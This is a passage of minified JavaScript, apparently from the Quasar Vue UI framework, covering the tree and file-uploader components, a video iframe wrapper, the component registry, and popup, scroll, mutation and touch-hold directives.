                }, [l(c)])])),
                t("div", {
                    key: s,
                    staticClass: "q-tree__node relative-position",
                    class: {
                        "q-tree__node--parent": a,
                        "q-tree__node--child": !a
                    }
                }, [t("div", {
                    staticClass: "q-tree__node-header relative-position row no-wrap items-center",
                    class: {
                        "q-tree__node--link q-hoverable q-focusable": n.link,
                        "q-tree__node--selected": n.selected,
                        "q-tree__node--disabled": n.disabled
                    },
                    attrs: {
                        tabindex: n.link ? 0 : -1
                    },
                    on: {
                        click: function(t) {
                            i.__onClick(e, n, t)
                        },
                        keypress: function(t) {
                            !0 !== J(t) && (13 === t.keyCode ? i.__onClick(e, n, t, !0) : 32 === t.keyCode && i.__onExpandClick(e, n, t, !0))
                        }
                    }
                }, [t("div", {
                    staticClass: "q-focus-helper",
                    attrs: {
                        tabindex: -1
                    },
                    ref: "blurTarget_" + n.key
                }), "loading" === n.lazy ? t(Kt, {
                    staticClass: "q-tree__spinner q-mr-xs",
                    props: {
                        color: this.computedControlColor
                    }
                }) : !0 === a ? t(Et, {
                    staticClass: "q-tree__arrow q-mr-xs",
                    class: {
                        "q-tree__arrow--rotate": n.expanded
                    },
                    props: {
                        name: this.computedIcon
                    },
                    on: {
                        click: function(t) {
                            i.__onExpandClick(e, n, t)
                        }
                    }
                }) : null, !0 === n.hasTicking && !0 !== n.noTick ? t(Bi, {
                    staticClass: "q-mr-xs",
                    props: {
                        value: !0 === n.indeterminate ? null : n.ticked,
                        color: this.computedControlColor,
                        dark: this.isDark,
                        dense: !0,
                        keepColor: !0,
                        disable: !0 !== n.tickable
                    },
                    on: {
                        keydown: S,
                        input: function(t) {
                            i.__onTickedClick(n, t)
                        }
                    }
                }) : null, t("div", {
                    staticClass: "q-tree__node-header-content col row no-wrap items-center",
                    class: n.selected ? this.selectedColorClass : this.textColorClass
                }, [o ? o(c) : [this.__getNodeMedia(t, e), t("div", e[this.labelKey])]])]), !0 === a ? t(ao, {
                    props: {
                        duration: this.duration
                    },
                    on: mt(this, "slide", {
                        show: function() {
                            i.$emit("after-show")
                        },
                        hide: function() {
                            i.$emit("after-hide")
                        }
                    })
                }, [t("div", {
                    staticClass: "q-tree__node-collapsible",
                    class: this.textColorClass,
                    directives: [{
                        name: "show",
                        value: n.expanded
                    }]
                }, [l, t("div", {
                    staticClass: "q-tree__children",
                    class: {
                        "q-tree__node--disabled": n.disabled
                    }
                }, r)])]) : l])
            },
            __blur: function(t) {
                var e = this.$refs["blurTarget_" + t];
                void 0 !== e && e.focus()
            },
            __onClick: function(t, e, i, s) {
                !0 !== s && this.__blur(e.key),
                this.hasSelection ? e.selectable && this.$emit("update:selected", e.key !== this.selected ? e.key : null) : this.__onExpandClick(t, e, i, s),
                "function" == typeof t.handler && t.handler(t)
            },
            __onExpandClick: function(t, e, i, s) {
                void 0 !== i && S(i),
                !0 !== s && this.__blur(e.key),
                this.setExpanded(e.key, !e.expanded, t, e)
            },
            __onTickedClick: function(t, e) {
                if (!0 === t.indeterminate && (e = t.indeterminateNextState),
                t.strictTicking)
                    this.setTicked([t.key], e);
                else if (t.leafTicking) {
                    var i = []
                      , s = function(t) {
                        t.isParent ? (!0 !== e && !0 !== t.noTick && !0 === t.tickable && i.push(t.key),
                        !0 === t.leafTicking && t.children.forEach(s)) : !0 === t.noTick || !0 !== t.tickable || !0 === t.leafFilteredTicking && !0 !== t.matchesFilter || i.push(t.key)
                    };
                    s(t),
                    this.setTicked(i, e)
                }
            }
        },
        render: function(t) {
            var e = this.__getChildren(t, this.nodes);
            return t("div", {
                class: this.classes
            }, 0 === e.length ? this.filter ? this.noResultsLabel || this.$q.lang.tree.noResults : this.noNodesLabel || this.$q.lang.tree.noNodes : e)
        },
        created: function() {
            !0 === this.defaultExpandAll && this.expandAll()
        }
    })
      , Oa = t.extend({
        name: "QUploaderBase",
        mixins: [Dt, Tn],
        props: {
            label: String,
            color: String,
            textColor: String,
            square: Boolean,
            flat: Boolean,
            bordered: Boolean,
            noThumbnails: Boolean,
            autoUpload: Boolean,
            hideUploadBtn: Boolean,
            disable: Boolean,
            readonly: Boolean
        },
        provide: function() {
            return {
                __qUploaderGetInput: this.__getInputControl
            }
        },
        data: function() {
            return {
                files: [],
                queuedFiles: [],
                uploadedFiles: [],
                dnd: !1,
                expanded: !1,
                uploadSize: 0,
                uploadedSize: 0
            }
        },
        watch: {
            isUploading: function(t, e) {
                !1 === e && !0 === t ? this.$emit("start") : !0 === e && !1 === t && this.$emit("finish")
            }
        },
        computed: {
            canUpload: function() {
                return !0 === this.editable && !0 !== this.isBusy && !0 !== this.isUploading && this.queuedFiles.length > 0
            },
            canAddFiles: function() {
                return !0 === this.editable && !0 !== this.isUploading && (!0 === this.multiple || 0 === this.queuedFiles.length) && (void 0 === this.maxFiles || this.files.length < this.maxFilesNumber) && (void 0 === this.maxTotalSize || this.uploadSize < this.maxTotalSizeNumber)
            },
            uploadProgress: function() {
                return 0 === this.uploadSize ? 0 : this.uploadedSize / this.uploadSize
            },
            uploadProgressLabel: function() {
                return this.__getProgressLabel(this.uploadProgress)
            },
            uploadedSizeLabel: function() {
                return ct(this.uploadedSize)
            },
            uploadSizeLabel: function() {
                return ct(this.uploadSize)
            },
            colorClass: function() {
                var t = [];
                return void 0 !== this.color && t.push("bg-" + this.color),
                void 0 !== this.textColor && t.push("text-" + this.textColor),
                t.join(" ")
            },
            editable: function() {
                return !0 !== this.disable && !0 !== this.readonly
            }
        },
        methods: {
            reset: function() {
                this.disable || (this.abort(),
                this.uploadedSize = 0,
                this.uploadSize = 0,
                this.__revokeImgURLs(),
                this.files = [],
                this.queuedFiles = [],
                this.uploadedFiles = [])
            },
            removeUploadedFiles: function() {
                this.disable || (this.files = this.files.filter(function(t) {
                    return "uploaded" !== t.__status || (void 0 !== t._img && window.URL.revokeObjectURL(t._img.src),
                    !1)
                }),
                this.uploadedFiles = [])
            },
            removeQueuedFiles: function() {
                var t = this;
                if (!this.disable) {
                    var e = []
                      , i = this.files.filter(function(i) {
                        return "idle" !== i.__status && "failed" !== i.__status || (t.uploadSize -= i.size,
                        e.push(i),
                        void 0 !== i._img && window.URL.revokeObjectURL(i._img.src),
                        !1)
                    });
                    e.length > 0 && (this.files = i,
                    this.queuedFiles = [],
                    this.$emit("removed", e))
                }
            },
            removeFile: function(t) {
                this.disable || ("uploaded" === t.__status ? this.uploadedFiles = this.uploadedFiles.filter(function(e) {
                    return e.name !== t.name
                }) : "uploading" === t.__status ? t.__abort() : this.uploadSize -= t.size,
                this.files = this.files.filter(function(e) {
                    return e.name !== t.name || (void 0 !== e._img && window.URL.revokeObjectURL(e._img.src),
                    !1)
                }),
                this.queuedFiles = this.queuedFiles.filter(function(e) {
                    return e.name !== t.name
                }),
                this.$emit("removed", [t]))
            },
            __revokeImgURLs: function() {
                this.files.forEach(function(t) {
                    void 0 !== t._img && window.URL.revokeObjectURL(t._img.src)
                })
            },
            __getFileInput: function() {
                return this.$refs.input || this.$el.getElementsByClassName("q-uploader__input")[0]
            },
            __getProgressLabel: function(t) {
                return (100 * t).toFixed(2) + "%"
            },
            __updateFile: function(t, e, i) {
                if (t.__status = e,
                "idle" === e)
                    return t.__uploaded = 0,
                    t.__progress = 0,
                    t.__sizeLabel = ct(t.size),
                    void (t.__progressLabel = "0.00%");
                "failed" !== e ? (t.__uploaded = "uploaded" === e ? t.size : i,
                t.__progress = "uploaded" === e ? 1 : Math.min(.9999, t.__uploaded / t.size),
                t.__progressLabel = this.__getProgressLabel(t.__progress),
                this.$forceUpdate()) : this.$forceUpdate()
            },
            __addFiles: function(t, e) {
                var i = this
                  , s = this.__processFiles(t, e, this.files, !0);
                if (void 0 !== s) {
                    var n = s.filter(function(t) {
                        return -1 === i.files.findIndex(function(e) {
                            return t.name === e.name
                        })
                    });
                    this.__getFileInput().value = "",
                    void 0 !== n && (n.forEach(function(t) {
                        if (i.__updateFile(t, "idle"),
                        i.uploadSize += t.size,
                        !0 !== i.noThumbnails && t.type.toUpperCase().startsWith("IMAGE")) {
                            var e = new Image;
                            e.src = window.URL.createObjectURL(t),
                            t.__img = e
                        }
                    }),
                    this.files = this.files.concat(n),
                    this.queuedFiles = this.queuedFiles.concat(n),
                    this.$emit("added", n),
                    !0 === this.autoUpload && this.upload())
                }
            },
            __getBtn: function(t, e, i, s) {
                if (!0 === e)
                    return t(be, {
                        props: {
                            type: "a",
                            icon: this.$q.iconSet.uploader[i],
                            flat: !0,
                            dense: !0
                        },
                        on: "add" === i ? null : {
                            click: s
                        }
                    }, "add" === i ? this.__getInputControl(t) : null)
            },
            __getInputControl: function(t) {
                return [t("input", {
                    ref: "input",
                    staticClass: "q-uploader__input overflow-hidden absolute-full",
                    attrs: Object.assign({}, {
                        tabindex: -1,
                        type: "file",
                        title: "",
                        accept: this.accept,
                        capture: this.capture
                    }, !0 === this.multiple ? {
                        multiple: !0
                    } : {}),
                    on: mt(this, "input", {
                        mousedown: y,
                        change: this.__addFiles
                    })
                })]
            },
            __getHeader: function(t) {
                return void 0 !== this.$scopedSlots.header ? this.$scopedSlots.header(this) : [t("div", {
                    staticClass: "q-uploader__header-content flex flex-center no-wrap q-gutter-xs"
                }, [this.__getBtn(t, this.queuedFiles.length > 0, "removeQueue", this.removeQueuedFiles), this.__getBtn(t, this.uploadedFiles.length > 0, "removeUploaded", this.removeUploadedFiles), !0 === this.isUploading ? t(Kt, {
                    staticClass: "q-uploader__spinner"
                }) : null, t("div", {
                    staticClass: "col column justify-center"
                }, [void 0 !== this.label ? t("div", {
                    staticClass: "q-uploader__title"
                }, [this.label]) : null, t("div", {
                    staticClass: "q-uploader__subtitle"
                }, [this.uploadSizeLabel + " / " + this.uploadProgressLabel])]), this.__getBtn(t, this.canAddFiles, "add", this.pickFiles), this.__getBtn(t, !1 === this.hideUploadBtn && !0 === this.canUpload, "upload", this.upload), this.__getBtn(t, this.isUploading, "clear", this.abort)])]
            },
            __getList: function(t) {
                var e = this;
                return void 0 !== this.$scopedSlots.list ? this.$scopedSlots.list(this) : this.files.map(function(i) {
                    return t("div", {
                        key: i.name,
                        staticClass: "q-uploader__file relative-position",
                        class: {
                            "q-uploader__file--img": !0 !== e.noThumbnails && void 0 !== i.__img,
                            "q-uploader__file--failed": "failed" === i.__status,
                            "q-uploader__file--uploaded": "uploaded" === i.__status
                        },
                        style: !0 !== e.noThumbnails && void 0 !== i.__img ? {
                            backgroundImage: 'url("' + i.__img.src + '")'
                        } : null
                    }, [t("div", {
                        staticClass: "q-uploader__file-header row flex-center no-wrap"
                    }, ["failed" === i.__status ? t(Et, {
                        staticClass: "q-uploader__file-status",
                        props: {
                            name: e.$q.iconSet.type.negative,
                            color: "negative"
                        }
                    }) : null, t("div", {
                        staticClass: "q-uploader__file-header-content col"
                    }, [t("div", {
                        staticClass: "q-uploader__title"
                    }, [i.name]), t("div", {
                        staticClass: "q-uploader__subtitle row items-center no-wrap"
                    }, [i.__sizeLabel + " / " + i.__progressLabel])]), "uploading" === i.__status ? t(zi, {
                        props: {
                            value: i.__progress,
                            min: 0,
                            max: 1,
                            indeterminate: 0 === i.__progress
                        }
                    }) : t(be, {
                        props: {
                            round: !0,
                            dense: !0,
                            flat: !0,
                            icon: e.$q.iconSet.uploader["uploaded" === i.__status ? "done" : "clear"]
                        },
                        on: {
                            click: function() {
                                e.removeFile(i)
                            }
                        }
                    })])])
                })
            }
        },
        beforeDestroy: function() {
            !0 === this.isUploading && this.abort(),
            this.files.length > 0 && this.__revokeImgURLs()
        },
        render: function(t) {
            var e = [t("div", {
                staticClass: "q-uploader__header",
                class: this.colorClass
            }, this.__getHeader(t)), t("div", {
                staticClass: "q-uploader__list scroll"
            }, this.__getList(t)), this.__getDnd(t, "uploader")];
            return !0 === this.isBusy && e.push(t("div", {
                staticClass: "q-uploader__overlay absolute-full flex flex-center"
            }, [t(Kt)])),
            t("div", {
                staticClass: "q-uploader column no-wrap",
                class: {
                    "q-uploader--dark q-dark": this.isDark,
                    "q-uploader--bordered": this.bordered,
                    "q-uploader--square no-border-radius": this.square,
                    "q-uploader--flat no-shadow": this.flat,
                    "disabled q-uploader--disable": this.disable
                },
                on: !0 === this.canAddFiles ? mt(this, "drag", {
                    dragover: this.__onDragOver
                }) : null
            }, e)
        }
    });
    function Ea(t) {
        return "function" == typeof t ? t : function() {
            return t
        }
    }
    var za = {
        props: {
            url: [Function, String],
            method: {
                type: [Function, String],
                default: "POST"
            },
            fieldName: {
                type: [Function, String],
                default: function(t) {
                    return t.name
                }
            },
            headers: [Function, Array],
            formFields: [Function, Array],
            withCredentials: [Function, Boolean],
            sendRaw: [Function, Boolean],
            batch: [Function, Boolean],
            factory: Function
        },
        data: function() {
            return {
                xhrs: [],
                promises: [],
                workingThreads: 0
            }
        },
        computed: {
            xhrProps: function() {
                return {
                    url: Ea(this.url),
                    method: Ea(this.method),
                    headers: Ea(this.headers),
                    formFields: Ea(this.formFields),
                    fieldName: Ea(this.fieldName),
                    withCredentials: Ea(this.withCredentials),
                    sendRaw: Ea(this.sendRaw),
                    batch: Ea(this.batch)
                }
            },
            isUploading: function() {
                return this.workingThreads > 0
            },
            isBusy: function() {
                return this.promises.length > 0
            }
        },
        methods: {
            abort: function() {
                this.xhrs.forEach(function(t) {
                    t.abort()
                }),
                this.promises.length > 0 && (this.abortPromises = !0)
            },
            upload: function() {
                var t = this;
                if (!1 !== this.canUpload) {
                    var e = this.queuedFiles.slice(0);
                    this.queuedFiles = [],
                    this.xhrProps.batch(e) ? this.__runFactory(e) : e.forEach(function(e) {
                        t.__runFactory([e])
                    })
                }
            },
            __runFactory: function(t) {
                var e = this;
                if (this.workingThreads++,
                "function" == typeof this.factory) {
                    var i = this.factory(t);
                    if (i)
                        if ("function" == typeof i.catch && "function" == typeof i.then) {
                            this.promises.push(i);
                            var s = function(s) {
                                !0 !== e._isBeingDestroyed && !0 !== e._isDestroyed && (e.promises = e.promises.filter(function(t) {
                                    return t !== i
                                }),
                                0 === e.promises.length && (e.abortPromises = !1),
                                e.queuedFiles = e.queuedFiles.concat(t),
                                t.forEach(function(t) {
                                    e.__updateFile(t, "failed")
                                }),
                                e.$emit("factory-failed", s, t),
                                e.workingThreads--)
                            };
                            i.then(function(n) {
                                !0 === e.abortPromises ? s(new Error("Aborted")) : !0 !== e._isBeingDestroyed && !0 !== e._isDestroyed && (e.promises = e.promises.filter(function(t) {
                                    return t !== i
                                }),
                                e.__uploadFiles(t, n))
                            }).catch(s)
                        } else
                            this.__uploadFiles(t, i || {});
                    else
                        this.$emit("factory-failed", new Error("QUploader: factory() does not return properly"), t),
                        this.workingThreads--
                } else
                    this.__uploadFiles(t, {})
            },
            __uploadFiles: function(t, e) {
                var i = this
                  , s = new FormData
                  , n = new XMLHttpRequest
                  , o = function(t, s) {
                    return void 0 !== e[t] ? Ea(e[t])(s) : i.xhrProps[t](s)
                }
                  , r = o("url", t);
                if (!r)
                    return console.error("q-uploader: invalid or no URL specified"),
                    void this.workingThreads--;
                var a = o("formFields", t);
                void 0 !== a && a.forEach(function(t) {
                    s.append(t.name, t.value)
                });
                var l, c = 0, u = 0, h = 0, d = 0;
                n.upload.addEventListener("progress", function(e) {
                    if (!0 !== l) {
                        var s = Math.min(d, e.loaded);
                        i.uploadedSize += s - h;
                        for (var n = (h = s) - u, o = c; n > 0 && o < t.length; o++) {
                            var r = t[o];
                            if (!(n > r.size))
                                return void i.__updateFile(r, "uploading", n);
                            n -= r.size,
                            c++,
                            u += r.size,
                            i.__updateFile(r, "uploading", r.size)
                        }
                    }
                }, !1),
                n.onreadystatechange = function() {
                    n.readyState < 4 || (n.status && n.status < 400 ? (i.uploadedFiles = i.uploadedFiles.concat(t),
                    t.forEach(function(t) {
                        i.__updateFile(t, "uploaded")
                    }),
                    i.$emit("uploaded", {
                        files: t,
                        xhr: n
                    })) : (l = !0,
                    i.uploadedSize -= h,
                    i.queuedFiles = i.queuedFiles.concat(t),
                    t.forEach(function(t) {
                        i.__updateFile(t, "failed")
                    }),
                    i.$emit("failed", {
                        files: t,
                        xhr: n
                    })),
                    i.workingThreads--,
                    i.xhrs = i.xhrs.filter(function(t) {
                        return t !== n
                    }))
                }
                ,
                n.open(o("method", t), r),
                !0 === o("withCredentials", t) && (n.withCredentials = !0);
                var p = o("headers", t);
                void 0 !== p && p.forEach(function(t) {
                    n.setRequestHeader(t.name, t.value)
                });
                var f = o("sendRaw", t);
                t.forEach(function(t) {
                    i.__updateFile(t, "uploading", 0),
                    !0 !== f && s.append(o("fieldName", t), t, t.name),
                    t.xhr = n,
                    t.__abort = function() {
                        n.abort()
                    }
                    ,
                    d += t.size
                }),
                this.$emit("uploading", {
                    files: t,
                    xhr: n
                }),
                this.xhrs.push(n),
                !0 === f ? n.send(new Blob(t)) : n.send(s)
            }
        }
    }
      , Aa = t.extend({
        name: "QUploader",
        mixins: [Oa, za]
    })
      , Da = t.extend({
        name: "QUploaderAddTrigger",
        inject: {
            __qUploaderGetInput: {
                default: function() {
                    console.error("QUploaderAddTrigger needs to be child of QUploader")
                }
            }
        },
        render: function(t) {
            return this.__qUploaderGetInput(t)
        }
    })
      , Ra = t.extend({
        name: "QVideo",
        mixins: [qo, Mt],
        props: {
            src: {
                type: String,
                required: !0
            }
        },
        computed: {
            iframeData: function() {
                return {
                    attrs: {
                        src: this.src,
                        frameborder: "0",
                        allowfullscreen: !0
                    }
                }
            },
            classes: function() {
                return "q-video" + (void 0 !== this.ratio ? " q-video--responsive" : "")
            }
        },
        render: function(t) {
            return t("div", {
                class: this.classes,
                style: this.ratioStyle,
                on: Object.assign({}, this.qListeners)
            }, [t("iframe", this.iframeData)])
        }
    })
      , Ia = Object.freeze({
        __proto__: null,
        QAjaxBar: Ct,
        QAvatar: zt,
        QBadge: At,
        QBanner: It,
        QBar: jt,
        QBreadcrumbs: Qt,
        QBreadcrumbsEl: Yt,
        QBtn: be,
        QBtnDropdown: ri,
        QBtnGroup: ye,
        QBtnToggle: ci,
        QCard: ui,
        QCardSection: hi,
        QCardActions: di,
        QCarousel: Ci,
        QCarouselSlide: ki,
        QCarouselControl: qi,
        QChatMessage: Ti,
        QCheckbox: Bi,
        QChip: Pi,
        QCircularProgress: zi,
        QColor: us,
        QDate: Zs,
        QDialog: pn,
        QDrawer: mn,
        QEditor: oo,
        QExpansionItem: po,
        QFab: _o,
        QFabAction: wo,
        QField: kn,
        QFile: So,
        QFooter: xo,
        QForm: Co,
        QHeader: ko,
        QIcon: Et,
        QImg: To,
        QInfiniteScroll: $o,
        QInnerLoading: Mo,
        QInput: Fn,
        QIntersection: Eo,
        QList: Vn,
        QItem: Nn,
        QItemSection: Hn,
        QItemLabel: ro,
        QKnob: Ao,
        QLayout: Io,
        QMarkupTable: Fo,
        QMenu: oi,
        QNoSsr: jo,
        QOptionGroup: Wo,
        QPage: Yo,
        QPageContainer: Uo,
        QPageScroller: Xo,
        QPageSticky: Ko,
        QPagination: Go,
        QParallax: tr,
        QPopupEdit: ir,
        QPopupProxy: sr,
        QLinearProgress: or,
        QPullToRefresh: rr,
        QRadio: Vo,
        QRange: ur,
        QRating: hr,
        QResizeObserver: Zi,
        QResponsive: dr,
        QScrollArea: pr,
        QScrollObserver: Ro,
        QSelect: Cr,
        QSeparator: uo,
        QSkeleton: Tr,
        QSlideItem: Mr,
        QSlideTransition: ao,
        QSlider: Xi,
        QSpace: Lr,
        QSpinner: Kt,
        QSpinnerAudio: Br,
        QSpinnerBall: Pr,
        QSpinnerBars: Or,
        QSpinnerComment: Er,
        QSpinnerCube: zr,
        QSpinnerDots: Ar,
        QSpinnerFacebook: Dr,
        QSpinnerGears: Rr,
        QSpinnerGrid: Ir,
        QSpinnerHearts: Fr,
        QSpinnerHourglass: jr,
        QSpinnerInfinity: Vr,
        QSpinnerIos: Nr,
        QSpinnerOval: Hr,
        QSpinnerPie: Qr,
        QSpinnerPuff: Wr,
        QSpinnerRadio: Yr,
        QSpinnerRings: Ur,
        QSpinnerTail: Kr,
        QSplitter: Xr,
        QStep: Jr,
        QStepper: ta,
        QStepperNavigation: ea,
        QTabPanels: as,
        QTabPanel: ls,
        QTable: ya,
        QTh: ia,
        QTr: wa,
        QTd: Sa,
        QTabs: ns,
        QTab: rs,
        QRouteTab: qa,
        QTime: Ta,
        QTimeline: $a,
        QTimelineEntry: Ma,
        QToggle: No,
        QToolbar: La,
        QToolbarTitle: Ba,
        QTooltip: jn,
        QTree: Pa,
        QUploader: Aa,
        QUploaderBase: Oa,
        QUploaderAddTrigger: Da,
        QVideo: Ra,
        QVirtualScroll: ua
    });
    function Fa(t) {
        if (!1 === t)
            return 0;
        if (!0 === t || void 0 === t)
            return 1;
        var e = parseInt(t, 10);
        return isNaN(e) ? 0 : e
    }
    var ja = {
        name: "close-popup",
        bind: function(t, e, i) {
            var s = {
                depth: Fa(e.value),
                handler: function(t) {
                    0 !== s.depth && setTimeout(function() {
                        !function(t, e, i) {
                            for (; 0 !== i && void 0 !== t; ) {
                                if (void 0 !== t.__renderPortal) {
                                    if (i--,
                                    "QMenu" === t.$options.name) {
                                        t = ke(t, e);
                                        continue
                                    }
                                    t.hide(e)
                                }
                                t = t.$parent
                            }
                        }(i.componentInstance || i.context, t, s.depth)
                    })
                },
                handlerKey: function(t) {
                    !0 === tt(t, 13) && s.handler(t)
                }
            };
            void 0 !== t.__qclosepopup && (t.__qclosepopup_old = t.__qclosepopup),
            t.__qclosepopup = s,
            t.addEventListener("click", s.handler),
            t.addEventListener("keyup", s.handlerKey)
        },
        update: function(t, e) {
            var i = e.value
              , s = e.oldValue;
            void 0 !== t.__qclosepopup && i !== s && (t.__qclosepopup.depth = Fa(i))
        },
        unbind: function(t) {
            var e = t.__qclosepopup_old || t.__qclosepopup;
            void 0 !== e && (t.removeEventListener("click", e.handler),
            t.removeEventListener("keyup", e.handlerKey),
            delete t[t.__qclosepopup_old ? "__qclosepopup_old" : "__qclosepopup"])
        }
    }
      , Va = {
        name: "go-back",
        bind: function(t, e, i) {
            var s = e.value
              , n = e.modifiers
              , o = {
                value: s,
                position: window.history.length - 1,
                single: n.single,
                goBack: function() {
                    var t = i.context.$router;
                    !0 === o.single ? t.go(-1) : !0 === u.is.nativeMobile ? t.go(o.position - window.history.length) : t.replace(o.value)
                },
                goBackKey: function(t) {
                    !0 === tt(t, 13) && o.goBack()
                }
            };
            t.__qgoback && (t.__qgoback_old = t.__qgoback),
            t.__qgoback = o,
            t.addEventListener("click", o.goBack),
            t.addEventListener("keyup", o.goBackKey)
        },
        update: function(t, e) {
            var i = e.value
              , s = e.oldValue
              , n = e.modifiers
              , o = t.__qgoback;
            void 0 !== o && (i !== s && (o.value = i),
            o.single !== n.single && (o.single = n.single))
        },
        unbind: function(t) {
            var e = t.__qgoback_old || t.__qgoback;
            void 0 !== e && (t.removeEventListener("click", e.goBack),
            t.removeEventListener("keyup", e.goBackKey),
            delete t[t.__qgoback_old ? "__qgoback_old" : "__qgoback"])
        }
    };
    var Na = {
        childList: !0,
        subtree: !0,
        attributes: !0,
        characterData: !0,
        attributeOldValue: !0,
        characterDataOldValue: !0
    };
    function Ha(t, e, i) {
        var s, n = i.modifiers, o = n.once, r = function(t, e) {
            var i = {};
            for (var s in t)
                Object.prototype.hasOwnProperty.call(t, s) && -1 === e.indexOf(s) && (i[s] = t[s]);
            return i
        }(n, ["once"]), a = i.value;
        e.once = o,
        e.handler !== a && (s = !0,
        e.handler = a),
        void 0 !== e.opts && !1 !== wi(r, e.mod) || (s = !0,
        e.mod = r,
        e.opts = 0 === Object.keys(r).length ? Na : r),
        !0 === s && (void 0 !== e.observer && e.observer.disconnect(),
        e.observer = new MutationObserver(function(i) {
            "function" == typeof e.handler && (!1 !== e.handler(i) && !0 !== e.once || Qa(t))
        }
        ),
        e.observer.observe(t, e.opts))
    }
    function Qa(t) {
        var e = t.__qmutation;
        void 0 !== e && (void 0 !== e.observer && e.observer.disconnect(),
        delete t.__qmutation)
    }
    var Wa = {
        name: "mutation",
        inserted: function(t, e) {
            var i = {};
            Ha(t, i, e),
            t.__qmutation = i
        },
        update: function(t, e) {
            var i = t.__qmutation;
            void 0 !== i && Ha(t, i, e)
        },
        unbind: Qa
    };
    function Ya(t, e) {
        var i = e.value
          , s = e.oldValue;
        "function" == typeof i ? (t.handler = i,
        "function" != typeof s && (t.scrollTarget.addEventListener("scroll", t.scroll, d.passive),
        t.scroll())) : t.scrollTarget.removeEventListener("scroll", t.scroll)
    }
    var Ua = {
        name: "scroll-fire",
        bind: function(t) {
            var e = {
                scroll: $(function() {
                    var i, s;
                    e.scrollTarget === window ? (s = t.getBoundingClientRect().bottom,
                    i = window.innerHeight) : (s = Xt(t).top + Gt(t),
                    i = Xt(e.scrollTarget).top + Gt(e.scrollTarget)),
                    s > 0 && s < i && (e.scrollTarget.removeEventListener("scroll", e.scroll, d.passive),
                    e.handler(t))
                }, 25)
            };
            t.__qscrollfire && (t.__qscrollfire_old = t.__qscrollfire),
            t.__qscrollfire = e
        },
        inserted: function(t, e) {
            var i = t.__qscrollfire;
            i.scrollTarget = De(t),
            Ya(i, e)
        },
        update: function(t, e) {
            void 0 !== t.__qscrollfire && e.value !== e.oldValue && Ya(t.__qscrollfire, e)
        },
        unbind: function(t) {
            var e = t.__qscrollfire_old || t.__qscrollfire;
            void 0 !== e && (e.scrollTarget.removeEventListener("scroll", e.scroll, d.passive),
            delete t[t.__qscrollfire_old ? "__qscrollfire_old" : "__qscrollfire"])
        }
    };
    function Ka(t, e) {
        var i = e.value
          , s = e.oldValue;
        "function" == typeof i ? (t.handler = i,
        "function" != typeof s && t.scrollTarget.addEventListener("scroll", t.scroll, d.passive)) : t.scrollTarget.removeEventListener("scroll", t.scroll, d.passive)
    }
    var Xa = {
        name: "scroll",
        bind: function(t) {
            var e = {
                scroll: function() {
                    e.handler(Ie(e.scrollTarget), Fe(e.scrollTarget))
                }
            };
            t.__qscroll && (t.__qscroll_old = t.__qscroll),
            t.__qscroll = e
        },
        inserted: function(t, e) {
            var i = t.__qscroll;
            i.scrollTarget = De(t),
            Ka(i, e)
        },
        update: function(t, e) {
            void 0 !== t.__qscroll && e.oldValue !== e.value && Ka(t.__qscroll, e)
        },
        unbind: function(t) {
            var e = t.__qscroll_old || t.__qscroll;
            void 0 !== e && (e.scrollTarget.removeEventListener("scroll", e.scroll, d.passive),
            delete t[t.__qscroll_old ? "__qscroll_old" : "__qscroll"])
        }
    };
    function Ga(t, e) {
        var i, s = t.__qtouchhold;
        if (void 0 !== s) {
            e.oldValue !== e.value && ("function" != typeof e.value && s.end(),
            s.handler = e.value);
            var n = [600, 5, 7];
            "string" == typeof e.arg && e.arg.length && e.arg.split(":").forEach(function(t, e) {
                var i = parseInt(t, 10);
                i && (n[e] = i)
            }),
            i = n,
            s.duration = i[0],
            s.touchSensitivity = i[1],
            s.mouseSensitivity = i[2]
        }
    }
    var Za = {
        name: "touch-hold",
        bind: function(t, e) {
            var i = e.modifiers;
            if (!0 === i.mouse || !0 === u.has.touch) {
                var s = {
                    noop: f,
                    mouseStart: function(t) {
                        "function" == typeof s.handler && !0 === m(t) && (k(s, "temp", [[document, "mousemove", "move", "passiveCapture"], [document, "click", "end", "notPassiveCapture"]]),
                        s.start(t, !0))
                    },
                    touchStart: function(t) {
                        if (void 0 !== t.target && "function" == typeof s.handler) {
                            var e = de(t.target);
                            k(s, "temp", [[e, "touchmove", "move", "passiveCapture"], [e, "touchcancel", "end", "notPassiveCapture"], [e, "touchend", "end", "notPassiveCapture"]]),
                            s.start(t)
                        }
                    },
                    start: function(t, e) {
                        s.origin = v(t);
                        var i = Date.now();
                        !0 === u.is.mobile && (document.body.classList.add("non-selectable"),
                        we(),
                        s.styleCleanup = function(t) {
                            s.styleCleanup = void 0;
                            var e = function() {
                                document.body.classList.remove("non-selectable")
                            };
                            !0 === t ? (we(),
                            setTimeout(e, 10)) : e()
                        }
                        ),
                        s.triggered = !1,
                        s.sensitivity = !0 === e ? s.mouseSensitivity : s.touchSensitivity,
                        s.timer = setTimeout(function() {
                            we(),
                            s.triggered = !0,
                            s.handler({
                                evt: t,
                                touch: !0 !== e,
                                mouse: !0 === e,
                                position: s.origin,
                                duration: Date.now() - i
                            })
                        }, s.duration)
                    },
                    move: function(t) {
                        var e = v(t)
                          , i = e.top
                          , n = e.left;
                        (Math.abs(n - s.origin.left) >= s.sensitivity || Math.abs(i - s.origin.top) >= s.sensitivity) && clearTimeout(s.timer)
                    },
                    end: function(t) {
                        q(s, "temp"),
                        void 0 !== s.styleCleanup && s.styleCleanup(s.triggered),
                        !0 === s.triggered ? void 0 !== t && S(t) : clearTimeout(s.timer)
                    }
                };
                t.__qtouchhold && (t.__qtouchhold_old = t.__qtouchhold),
                t.__qtouchhold = s,
                Ga(t, e),
                !0 === i.mouse && k(s, "main", [[t, "mousedown", "mouseStart", "passive" + (!0 === i.mouseCapture ? "Capture" : "")]]),
                !0 === u.has.touch && k(s, "main", [[t, "touchstart", "touchStart", "passive" + (!0 === i.capture ? "Capture" : "")], [t, "touchend", "noop", "notPassiveCapture"]])
            }
        },
        update: Ga,
        unbind: function(t) {
            var e = t.__qtouchhold_old || t.__qtouchhold;
            void 0 !== e && (q(e, "main"),
            q(e, "temp"),
            clearTimeout(e.timer),
            void 0 !== e.styleCleanup && e.styleCleanup(),
            delete t[t.__qtouchhold_old ? "__qtouchhold_old" : "__qtouchhold"])
        }
    }
      , Ja = {
        esc: 27,
        tab: 9,
        enter: 13,
        space: 32,
        up: 38,
        left: 37,
        right: 39,
        down: 40,
        delete: [8, 46]
    }
      , tl = new RegExp("^([\\d+]+|" + Object.keys(Ja).join("|") + ")$","i");
    var el, il = {
        name: "touch-repeat",
        bind: function(t, e) {
            var i = e.modifiers
              , s = e.value
              , n = e.arg
